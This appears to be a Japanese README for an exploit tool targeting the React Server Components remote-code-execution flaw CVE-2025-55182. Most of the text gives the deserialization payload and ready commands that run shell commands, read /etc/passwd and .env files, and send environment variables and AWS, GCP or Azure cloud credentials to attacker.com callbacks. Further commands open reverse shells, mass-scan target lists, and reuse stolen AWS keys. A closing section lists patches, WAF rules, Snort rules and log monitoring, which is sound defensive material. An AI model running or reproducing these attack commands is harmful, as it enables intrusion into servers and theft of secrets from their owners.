
React2Shell エクスプロイトツール (CVE-2025-55182)
CVE-2025-55182 (React2Shell) のためのエクスプロイトフレームワーク - React Server Components の重大な RCE 脆弱性
# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# Install dependencies
pip install -r requirements.txt
# Make executable
chmod +x fiberbreak.py
# Build vulnerable testing environment
docker-compose up -d
# Wait for startup
sleep 20
# Test detection
./fiberbreak.py -u http://localhost:3000 detect
# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# Verify
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 は React Server Components (RSC) における重大なリモートコード実行脆弱性であり、認証されていない攻撃者がサーバー上で任意のコードを実行することを可能にします。
根本原因: React Flight プロトコルは、信頼できないクライアント入力を適切な検証なしで逆シリアル化するため、攻撃者が JavaScript のプロトタイプチェーンと Function コンストラクタを悪用する悪意のあるペイロードを作成できます。
攻撃ベクトル: 攻撃者は Next-Action ヘッダーを含む細工された multipart/form-data POST リクエストを任意の RSC エンドポイントに送信します。悪意のあるペイロードは以下を利用します。
__proto__ アクセスによるプロトタイプ汚染constructor:constructor による Function コンストラクタの露出1. Attacker sends crafted POST request
└─ multipart/form-data with malicious JSON
└─ Next-Action header (any value)
2. Server deserializes payload
└─ React processes RSC chunk format
└─ Resolves Promise-like object
3. Gadget chain triggers
└─ __proto__ access bypasses hasOwnProperty checks
└─ constructor:constructor exposes Function()
└─ _prefix executes arbitrary code
4. RCE achieved
└─ Server executes attacker's JavaScript
└─ Full system compromise
{
"then": "$1:__proto__:then", // Prototype pollution
"status": "resolved_model", // Fake React internal state
"reason": -1, // Trigger resolution
"value": '{"then":"$B1337"}', // Blob reference
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // Executed code
"_formData": {
"get": "$1:constructor:constructor" // Function() access
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// Missing validation here allows malicious chunks
if (value && typeof value.then === 'function') {
// Attacker controls 'then' method
value.then(/* ... */);
}
}
# Single target detection
./fiberbreak.py -u https://target.com detect
# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20
# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json
# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"
# Write file to disk
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# Read file contents
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# Reverse shell
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. Document findings without causing damage
# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json
# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# Generate report
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'
# AWS EC2 Instance
./fiberbreak.py -u https://aws-app.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Callback receives:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration
# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
-c "https://attacker.com/gcp" -t cloud_metadata
# Callback receives:
# - Project ID, instance name, zone
# - Service account email
# - OAuth2 access token
# - Available scopes
# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
-c "https://attacker.com/azure" -t cloud_metadata
# Callback receives:
# - Instance metadata
# - Managed identity OAuth2 token
# - Subscription information
# Create unique marker file
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/${MARKER}:proof" -t write_file
# Verify via timing attack or out-of-band
./fiberbreak.py -u https://target.com exploit \
-c "curl https://attacker.com/${MARKER}" -t simple
# Step 1: Enumerate files
./fiberbreak.py -u https://target.com exploit \
-c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil
# Step 2: Extract configuration
./fiberbreak.py -u https://target.com exploit \
-c "/app/.env:https://attacker.com/config" -t file_read
# Step 3: Extract database credentials
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# Extract AWS credentials
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Use extracted credentials for lateral movement
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""
# Enumerate resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
# Update React
npm install [email protected] [email protected]
# Update Next.js
npm install [email protected] # or [email protected]+
# Verify versions
npm list react react-dom next
nginx
# Block requests with Next-Action header
if ($http_next_action) {
return 403;
}
# Rate limit RSC endpoints
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;
location / {
limit_req zone=rsc burst=20;
}
Apache (ModSecurity)
# Detect Next-Action header
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:2025551820,\
phase:2,\
deny,\
status:403,\
log,\
msg:'CVE-2025-55182 exploitation attempt detected'"
# Detect malicious RSC payloads
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
"id:2025551821,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Malicious RSC payload detected'"
Cloudflare WAF
// Custom rule
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")
# Snort/Suricata rule
alert tcp any any -> any any (
msg:"CVE-2025-55182 React2Shell exploitation attempt";
flow:to_server,established;
content:"Next-Action"; http_header;
content:"__proto__"; http_client_body;
sid:2025551820;
rev:1;
)
// Next.js middleware
export function middleware(request) {
// Block requests with Next-Action header from untrusted sources
if (request.headers.get('next-action')) {
// Validate origin
const origin = request.headers.get('origin');
const allowedOrigins = ['https://yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
return new Response('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: '/:path*',
};
# Monitor for exploitation attempts in logs
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log
# Alert on suspicious patterns
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
echo "[ALERT] Potential CVE-2025-55182 exploitation: $line"
# Send to SIEM/alerting system
done
教育および許可されたセキュリティテストのためのみ
不正使用は禁止されています。詳細はLICENSEを参照してください。
| タイプ | フォーマット | 説明 | 出力 |
|---|
simple | command | 任意のシェルコマンドを実行 | ブラインド |
output | command + --callback | HTTP コールバック付きで実行 | あり |
reverse_shell | lhost:lport | Bash リバースシェル | インタラクティブ |
dns_exfil | cmd:domain または domain | DNS 外部送信 | DNS ログ |
http_exfil | cmd:callback_url | HTTP 外部送信 | HTTP POST |
file_read | filepath:callback | ファイルを読み取り外部送信 | HTTP POST |
write_file | filepath:content | ファイルをディスクに書き込み | ブラインド |
env_dump | callback_url | 環境変数をダンプ | HTTP POST |
cloud_metadata | callback_url | クラウド認証情報を抽出 | HTTP POST |
recon | callback_url | システム偵察 | HTTP POST |
stealth_beacon | domain | DNS ビーコン | DNS ログ |
webshell | filepath | Node.js ウェブシェルを展開 | ポート 8080 |
persist | callback_url | cron 永続化をインストール | Cron ジョブ |